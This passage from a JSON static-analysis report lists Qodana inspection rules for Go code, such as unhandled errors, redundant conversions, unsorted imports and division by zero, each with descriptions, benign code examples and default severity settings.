}\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoConvertStringLiterals\",\n                \"shortDescription\": {\n                  \"text\": \"Convert string literals\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports double-quoted string literals that can be converted into raw string literals and raw string literals that can be converted to double-quoted string literals. Example: 'var s = \\\"Hello\\\\n   \\\\\\\"World\\\\\\\"\\\"' After the quick fix is applied: 'var s = `Hello\\n   \\\"World\\\"`' There are two notes that you should take into account while converting double-quoted strings to raw strings: According to the Go language specification, the carriage return character (''\\\\r'') is discarded from the raw string values. As there is no way to show carriage return in raw strings, we discard carriage return characters when converting a double-quoted string to a raw string. The backtick character (''`'') cannot exist in raw string literals because there is no way to escape it. Therefore, converting double-quoted strings that contain the backtick character to raw strings is not possible and will result in a syntax error. The user can decide to undo the conversion or use some form of concatenation to preserve the backtick in a double-quoted string. For example, '\\\"`ab``\\\"' will result in '`ab``', which is syntactically incorrect. The user can either undo the operation or change the resulting string to '`ab` + \\\"`\\\"'.\",\n                  \"markdown\": \"Reports double-quoted [string literals](https://go.dev/ref/spec#String_literals) that can be converted into raw string literals and raw string literals that can be converted to double-quoted string literals.\\n\\n**Example:**\\n\\n\\n      var s = \\\"Hello\\\\n   \\\\\\\"World\\\\\\\"\\\"\\n\\nAfter the quick fix is applied:\\n\\n\\n      var s = `Hello\\n       \\\"World\\\"`\\n\\nThere are two notes that you should take into account while converting double-quoted strings to raw strings:\\n\\n* According to the [Go language specification](https://go.dev/ref/spec#String_literals), the carriage return character (`'\\\\r'`) is discarded from the raw string values. As there is no way to show carriage return in raw strings, we discard carriage return characters when converting a double-quoted string to a raw string.\\n* The backtick character (``'`'``) cannot exist in raw string literals because there is no way to escape it. Therefore, converting double-quoted strings that contain the backtick character to raw strings is not possible and will result in a syntax error. The user can decide to undo the conversion or use some form of concatenation to preserve the backtick in a double-quoted string. For example, ```\\\"`ab``\\\"``` will result in ````ab`````, which is syntactically incorrect. The user can either undo the operation or change the resulting string to ```ab` + \\\"`\\\"``.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoConvertStringLiterals\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnhandledErrorResult\",\n                \"shortDescription\": {\n                  \"text\": \"Unhandled error\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports calls to functions and methods that do not handle the call result of the 'error' type. An API of such functions imply that their execution might finish unsuccessfully and they would return an error. Calls that do not handle the error result could be an indication of the API misuse. Example: 'os.Remove(\\\"non-existing\\\") // error is ignored' After the Handle error quick-fix is applied: 'err := os.Remove(\\\"non-existing\\\") // error is handled\\nif err != nil {\\n  return err\\n}'\",\n                  \"markdown\": \"Reports calls to functions and methods that do not handle the call result of the `error` type.\\n\\nAn API of such functions imply that their execution might finish unsuccessfully and they would return an error.\\nCalls that do not handle the error result could be an indication of the API misuse.\\n\\nExample:\\n\\n\\n    os.Remove(\\\"non-existing\\\") // error is ignored\\n\\nAfter the **Handle error** quick-fix is applied:\\n\\n    err := os.Remove(\\\"non-existing\\\") // error is handled\\n    if err != nil {\\n      return err\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnhandledErrorResult\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoRedundantConversion\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant type conversion\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports type conversions that may be omitted. Example: 'var s = string(\\\"hello\\\")' The '\\\"hello\\\"' value is the 'string' type already, the additional conversion to 'string' is redundant. To remove the conversion, consider using the Delete conversion quick-fix. After the quick-fix is applied: 'var s = \\\"hello\\\"' Sometimes conversion of a floating expression to a floating type can be intentional (refer to this issue as an example). In such cases, the IDE issues a warning about a possibly redundant conversion.\",\n                  \"markdown\": \"Reports type conversions that may be omitted.\\n\\nExample:\\n\\n    var s = string(\\\"hello\\\")\\n\\nThe `\\\"hello\\\"` value is the `string` type already, the additional conversion to `string` is redundant.\\nTo remove the conversion, consider using the **Delete conversion** quick-fix.\\n\\nAfter the quick-fix is applied:\\n\\n    var s = \\\"hello\\\"\\n\\nSometimes conversion of a floating expression to a floating type can be intentional\\n(refer to [this issue](https://github.com/mdempsky/unconvert/issues/40) as an example). In such cases, the IDE issues\\na warning about a *possibly* redundant conversion.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoRedundantConversion\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoReservedWordUsedAsName\",\n                \"shortDescription\": {\n                  \"text\": \"Reserved word used as name\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports declarations of variables, arguments or functions that overlap with the built-in or reserved keyword. If you receive this error then your code might not be as explicit as possible and might confuse other users. Example: 'type byte struct{}\\ntype string interface{}' Types 'byte' and 'string' collide with the built-in type aliases. Therefore, they will be highlighted. Consider renaming such declarations.\",\n                  \"markdown\": \"Reports declarations of variables, arguments or functions that overlap with the built-in or reserved keyword.\\n\\nIf you receive this error then your code might not be as explicit as possible and might confuse other users.\\n\\nExample:\\n\\n    type byte struct{}\\n    type string interface{}\\n\\nTypes `byte` and `string` collide with the built-in type aliases. Therefore, they will be highlighted.\\nConsider renaming such declarations.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoReservedWordUsedAsName\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnreachableCode\",\n                \"shortDescription\": {\n                  \"text\": \"Unreachable code\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports code that can never be executed because there exists no control flow path to the code from the rest of the program. Example: 'func _() int {\\n print(1)\\n return 2\\n println() // This code is unreachable \\n return 0\\n}'\",\n                  \"markdown\": \"Reports code that can never be executed because there exists no control flow path to the code from the rest of the program.\\n\\nExample:\\n\\n    func _() int {\\n     print(1)\\n     return 2\\n     println() // This code is unreachable \\n     return 0\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnreachableCode\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Control flow issues\",\n                      \"index\": 50,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoVetLostCancel\",\n                \"shortDescription\": {\n                  \"text\": \"'context.CancelFunc' is not called\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports execution paths that do not call the 'cancel' function returned by 'context.WithCancel' and similar functions. The 'WithCancel', 'WithDeadline', and 'WithTimeout' functions take a 'Context' (the parent) and return a derived 'Context' (the child) and a 'CancelFunc'. Calling the 'CancelFunc' cancels the child and its children, removes the parent's reference to the child, and stops any associated timers. Failing to call the CancelFunc leaks the child and its children until the parent is canceled or the timer fires. For more information about the 'context' package, refer to Package context at go.dev. Example: 'func _(ctx context.Context, cancel func()) {\\n var ctx2 context.Context\\n ctx2, cancel = context.WithCancel(ctx)\\n _ = ctx2\\n}'\",\n                  \"markdown\": \"Reports execution paths that do not call the `cancel` function returned by `context.WithCancel` and similar functions.\\n\\nThe `WithCancel`, `WithDeadline`, and `WithTimeout` functions take a `Context` (the parent)\\nand return a\\nderived `Context` (the child) and a `CancelFunc`.\\nCalling the `CancelFunc` cancels the child and its children, removes the parent's reference to the child, and stops any\\nassociated timers.\\nFailing to call the CancelFunc leaks the child and its children until the parent is canceled or the timer fires.\\n\\nFor more information about the `context` package, refer to [Package context at\\ngo.dev](https://pkg.go.dev/context).\\n\\nExample:\\n\\n    func _(ctx context.Context, cancel func()) {\\n     var ctx2 context.Context\\n     ctx2, cancel = context.WithCancel(ctx)\\n     _ = ctx2\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVetLostCancel\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoCommentStart\",\n                \"shortDescription\": {\n                  \"text\": \"Comment of exported element starts with the incorrect name\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports comments that do not start with the name of the exported element. According to Comment Sentences at github.com/golang, this is a convention to begin a comment with the name of the exported element. Example: '// represents a request to run a command.\\ntype Request struct {}' The comment starts with the struct description, not with the struct name. To stick to the convention rules, you can apply the Add prefix to comment quick-fix. After the quick-fix is applied, the comment looks as follows: // Request represents a request to run a command.\\ntype Request struct {} // better\",\n                  \"markdown\": \"Reports comments that do not start with the name of the exported element.\\n\\nAccording to\\n[Comment Sentences at github.com/golang](https://github.com/golang/go/wiki/CodeReviewComments#comment-sentences), this is a convention to begin\\na comment with the name of the exported element.\\n\\nExample:\\n\\n    // represents a request to run a command.\\n    type Request struct {}\\n\\nThe comment starts with the struct description, not with the struct name. To stick to the convention rules, you can apply the **Add\\nprefix to comment** quick-fix. After the quick-fix is applied, the comment looks as follows:\\n\\n```\\n// Request represents a request to run a command.\\ntype Request struct {} // better\\n```\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoCommentStart\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoRedundantBlankArgInRange\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant blank argument in range\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports optional blank variables in range loops. When you use the 'range' loop to iterate over a slice, two values are returned for each iteration. The first is the index number, and the second is a copy of the element at that index. If you do not need the second value, you can skip this element instead of using a blank identifier. Example: 'for a, _ = range v {} // `for a, _ =` is the same as `for a =`' To remove the blank identifier, you can use the Delete blank argument quick-fix. After the quick-fix is applied, the code will look as follows: 'for a = range v {}'\",\n                  \"markdown\": \"Reports optional blank variables in range loops.\\n\\nWhen you use the `range` loop to iterate over a slice, two values are returned for each iteration. The first is the index\\nnumber, and the second is a copy of the element at that index. If you do not need the second value, you can skip this element instead of\\nusing a blank identifier.\\n\\nExample:\\n\\n    for a, _ = range v {} // `for a, _ =` is the same as `for a =`\\n\\nTo remove the blank identifier, you can use the **Delete blank argument** quick-fix. After the quick-fix is applied, the code will\\nlook as follows:\\n\\n    for a = range v {}\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoRedundantBlankArgInRange\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoEmptyDeclaration\",\n                \"shortDescription\": {\n                  \"text\": \"Empty declaration\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports empty declarations. Empty declarations have no effect. If you remove them, you might improve code readability. Example: 'func main() {\\n const () // empty declaration\\n}' You can apply the Delete empty declaration quick-fix to remove this declaration.\",\n                  \"markdown\": \"Reports empty declarations.\\n\\nEmpty declarations have no effect. If you remove them, you might improve code readability.\\n\\nExample:\\n\\n    func main() {\\n     const () // empty declaration\\n    }\\n\\nYou can apply the **Delete empty declaration** quick-fix to remove this declaration.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoEmptyDeclaration\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"VgoUnusedDependency\",\n                \"shortDescription\": {\n                  \"text\": \"Unused dependency\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unused dependencies. For each dependency in the current go.mod file, this inspection searches for any import statement starting with the dependency name in all GO files. If no such imports found then the dependency is considered unused. This inspection is an equivalent of the 'go mod why' command. The inspection processes 'require' and 'replace' directives. The 'require' directives with '// indirect' comments are also processed. The inspection might not accurately determine that a replaced or indirectly-required dependency is unused in the following cases: Vendoring mode is enabled Some dependencies are not downloaded\",\n                  \"markdown\": \"Reports unused dependencies.\\n\\nFor each dependency in the current *go.mod* file, this inspection searches for any import statement starting with the dependency\\nname in\\nall GO files.\\nIf no such imports found then the dependency is considered unused.\\nThis inspection is an equivalent of the [`go mod why` command](https://go.dev/ref/mod#go-mod-why).\\n\\nThe inspection processes `require` and `replace` directives.\\nThe `require` directives with `// indirect` comments are also processed.\\n\\nThe inspection might not accurately determine that a replaced or indirectly-required dependency is unused in the following cases:\\n\\n* Vendoring mode is enabled\\n* Some dependencies are not downloaded\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"VgoUnusedDependency\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go modules/Declaration redundancy\",\n                      \"index\": 54,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoStandardMethods\",\n                \"shortDescription\": {\n                  \"text\": \"Non-standard signature for well-known function names\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports methods with certain names in the following cases: the method's name matches the name of several well-known interface methods from the standard library the signature does not match the signature of the corresponding interface method Such methods might indicate that the receiver type is intended to satisfy an interface from the standard library, but fails to do so because of the mistake in the method's signature. Example: 'type MyReader []byte\\n\\nfunc (r MyReader) ReadByte(data []byte) (byte, error) {\\n}' The usage is suspicious because it looks like an attempt to implement 'io.ByteReader' but the signature is wrong. More correct version will be as follows: 'type MyReader []byte\\n\\nfunc (r MyReader) ReadByte() (byte, error) {\\n}'\",\n                  \"markdown\": \"Reports methods with certain names in the following cases:\\n\\n* the method's name matches the name of several well-known interface methods from the standard library\\n* the signature does not match the signature of the corresponding interface method\\n\\nSuch methods might indicate that the receiver type is intended to satisfy an interface from the standard library,\\nbut fails to do so because of the mistake in the method's signature.\\n\\nExample:\\n\\n    type MyReader []byte\\n\\n    func (r MyReader) ReadByte(data []byte) (byte, error) {\\n    }\\n\\nThe usage is suspicious because it looks like an attempt to implement `io.ByteReader` but the signature is wrong.\\nMore correct version will be as follows:\\n\\n    type MyReader []byte\\n\\n    func (r MyReader) ReadByte() (byte, error) {\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoStandardMethods\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoNameStartsWithPackageName\",\n                \"shortDescription\": {\n                  \"text\": \"Name starts with a package name\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports exported names that start with a package name. This inspection does not report such names in the 'main' package. Example: 'package myPackage\\n\\nfunc MyPackageGetIP() {\\n\\n}' The 'MyPackageGetIP' name will be highlighted as it starts with the package name. According to Package Names at github.com/golang, all references to names in a package will be done using the package name, so one can omit that name from the identifiers. For example, if you are in a package 'foo', you do not need a type 'FooFile', which clients will write as 'foo.FooFile'. Instead, we name the type 'File', which clients will write as 'foo.File'.\",\n                  \"markdown\": \"Reports exported names that start with a package name. This inspection does not report such names in the `main` package.\\n\\nExample:\\n\\n    package myPackage\\n\\n    func MyPackageGetIP() {\\n\\n    }\\n\\nThe `MyPackageGetIP` name will be highlighted as it starts with the package name.\\n\\nAccording to\\n[Package Names at github.com/golang](https://github.com/golang/go/wiki/CodeReviewComments#package-names),\\nall references to names in a package will be done using the package name, so one can omit that name from the identifiers.\\nFor example, if you are in a package `foo`, you do not need a type `FooFile`,\\nwhich clients will write as `foo.FooFile`. Instead, we name the type `File`,\\nwhich clients will write as `foo.File`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoNameStartsWithPackageName\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoInterfaceToAny\",\n                \"shortDescription\": {\n                  \"text\": \"Usage of 'interface{}' as a type\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports usages of the empty interface as a type or type constraint. The empty interface denotes the set of all types. Go 1.18 introduced the more explicit alias 'any' for 'interface{}', which is equivalent to 'interface{}' in all ways. The inspection is triggered for any usage of an empty interface as a type or type constraint. Aliases of the empty interface and interfaces that exclusively embed other empty interfaces do not trigger the inspection. Consider using the more explicit alias 'any' instead.\",\n                  \"markdown\": \"Reports usages of the empty interface as a type or type constraint.\\n\\n\\nThe empty interface denotes the set of all types.\\nGo 1.18 introduced the more explicit alias `any` for `interface{}`,\\nwhich is equivalent to `interface{}` in all ways.\\n\\nThe inspection is triggered for any usage of an empty interface as a type or type constraint.\\nAliases of the empty interface and interfaces that exclusively embed other empty interfaces do not trigger the inspection.\\n\\nConsider using the more explicit alias `any` instead.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoInterfaceToAny\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnsortedImport\",\n                \"shortDescription\": {\n                  \"text\": \"Unsorted imports\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unsorted imports. All Go programs should be formatted in the same way, the formatting rules are fixed by the gofmt tool. Those rules require imports to be sorted. Example of a wrong sorting: 'import (\\n \\\"net\\\"\\n \\\"errors\\\"\\n \\\"fmt\\\"\\n)' You can apply the Sort imports quick-fix to fix the sorting. After the quick-fix is applied, the sorting looks as follows: 'import (\\n \\\"errors\\\"\\n \\\"fmt\\\"\\n \\\"net\\\"\\n)'\",\n                  \"markdown\": \"Reports unsorted imports.\\n\\nAll Go programs should be formatted in the same way, the formatting rules are fixed by the\\n[gofmt](https://pkg.go.dev/cmd/gofmt) tool. Those rules require imports to be sorted.\\n\\nExample of a wrong sorting:\\n\\n    import (\\n     \\\"net\\\"\\n     \\\"errors\\\"\\n     \\\"fmt\\\"\\n    )\\n\\nYou can apply the **Sort imports** quick-fix to fix the sorting. After the quick-fix is applied, the sorting\\nlooks as follows:\\n\\n    import (\\n     \\\"errors\\\"\\n     \\\"fmt\\\"\\n     \\\"net\\\"\\n    )\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnsortedImport\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoTypeAssertionOnErrors\",\n                \"shortDescription\": {\n                  \"text\": \"Type assertion on errors fails on wrapped errors\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports type assertion or type switch on errors, for example, 'err.(*MyErr)' or 'switch err.(type)', and suggests using 'errors.As' instead. Since Go 1.13, errors can be wrapped using the 'fmt.Errorf' function with the '%w' verb. Therefore, type assertion or type switch on errors fails on wrapped errors. The preferred way for checking for a specific error type is to use the errors.As function from the standard library as this function traverses the chain of the wrapped errors while checking for a specific error type. For more information about 'errors.As', refer to working with Errors in Go 1.13. The quick-fix replaces type assertion and type switch on errors with a call to 'errors.As'. Example 'errFoo, ok := err.(*ErrFoo)\\n\\n\\nswitch err.(type) {\\n  case *ErrBar:\\n}' After the quick fix is applied: 'var errFoo *ErrFoo\\nok := errors.As(err, &errFoo)\\n\\nvar errBar *ErrBar\\nswitch {\\ncase errors.As(err, &errBar):\\n}'\",\n                  \"markdown\": \"Reports type assertion or type switch on errors, for example, `err.(*MyErr)` or `switch err.(type)`, and suggests using `errors.As` instead.\\n\\nSince Go 1.13, errors can be wrapped using the `fmt.Errorf` function with the `%w` verb. Therefore, type assertion\\nor type switch on errors fails on wrapped errors. The preferred way for checking for a specific error type\\nis to use the [errors.As](https://pkg.go.dev/errors#As) function from the standard library as this function traverses the chain of the wrapped errors while\\nchecking for a specific error type.\\n\\nFor more information about `errors.As`, refer to [working with Errors in Go 1.13](https://go.dev/blog/go1.13-errors).\\n\\nThe quick-fix replaces type assertion and type switch on errors with a call to `errors.As`.\\n\\n**Example**\\n\\n\\n    errFoo, ok := err.(*ErrFoo)\\n\\n\\n    switch err.(type) {\\n      case *ErrBar:\\n    }\\n\\nAfter the quick fix is applied:\\n\\n\\n    var errFoo *ErrFoo\\n    ok := errors.As(err, &errFoo)\\n\\n    var errBar *ErrBar\\n    switch {\\n    case errors.As(err, &errBar):\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoTypeAssertionOnErrors\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoContextTodo\",\n                \"shortDescription\": {\n                  \"text\": \"Usage of context.TODO()\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports usages of 'context.TODO()'. According to the documentation at pkg.go.dev, you need to use 'context.TODO' when it is unclear what 'Context' to use, or 'Context' is not yet available. 'Context' might not be available because of the surrounding function that has not yet been extended to accept the 'Context' parameter. Note that it is a temporary placeholder, and you must change it in the future to a more meaningful context (for example, 'context.Background()').\",\n                  \"markdown\": \"Reports usages of `context.TODO()`.\\n\\nAccording to the [documentation at pkg.go.dev](https://pkg.go.dev/context#TODO),\\nyou need to use `context.TODO` when it is unclear what\\n`Context` to use, or `Context` is not yet available.\\n`Context` might not be available because of the surrounding function that\\nhas not yet been extended to accept the `Context` parameter.\\n\\nNote that it is a temporary placeholder, and you must change it in the future to a more meaningful\\ncontext (for example, `context.Background()`).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoContextTodo\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoExportedOwnDeclaration\",\n                \"shortDescription\": {\n                  \"text\": \"Exported element should have its own declaration\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports exported variables or constants in comma-separated lists of declarations. Example: 'const C1, C3, C2, C44, C9, C11, C6 = 1, 2, 3, 1, 3, 2, 1' This declaration makes it hard to understand what value each constant has. You can apply the Extract to own declaration quick-fix to make this declaration more readable. After the quick-fix is applied to each constant, the declaration looks as follows: 'const (\\n C3  = 2\\n C2  = 3\\n C44 = 1\\n C9  = 3\\n C11 = 2\\n C6  = 1\\n C1  = 1\\n)'\",\n                  \"markdown\": \"Reports exported variables or constants in comma-separated lists of declarations.\\n\\nExample:\\n\\n    const C1, C3, C2, C44, C9, C11, C6 = 1, 2, 3, 1, 3, 2, 1\\n\\nThis declaration makes it hard to understand what value each constant has. You can apply the **Extract to own declaration** quick-fix\\nto make this declaration more readable. After the quick-fix is applied to each constant, the declaration looks as follows:\\n\\n    const (\\n     C3  = 2\\n     C2  = 3\\n     C44 = 1\\n     C9  = 3\\n     C11 = 2\\n     C6  = 1\\n     C1  = 1\\n    )\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoExportedOwnDeclaration\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoDivisionByZero\",\n                \"shortDescription\": {\n                  \"text\": \"Division by zero\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports division by zero. Division by zero will lead to a runtime panic. Example: 's := 3 / 0'\",\n                  \"markdown\": \"Reports division by zero.\\n\\nDivision by zero will lead to a runtime panic.\\n\\nExample:\\n\\n    s := 3 / 0\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoDivisionByZero\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      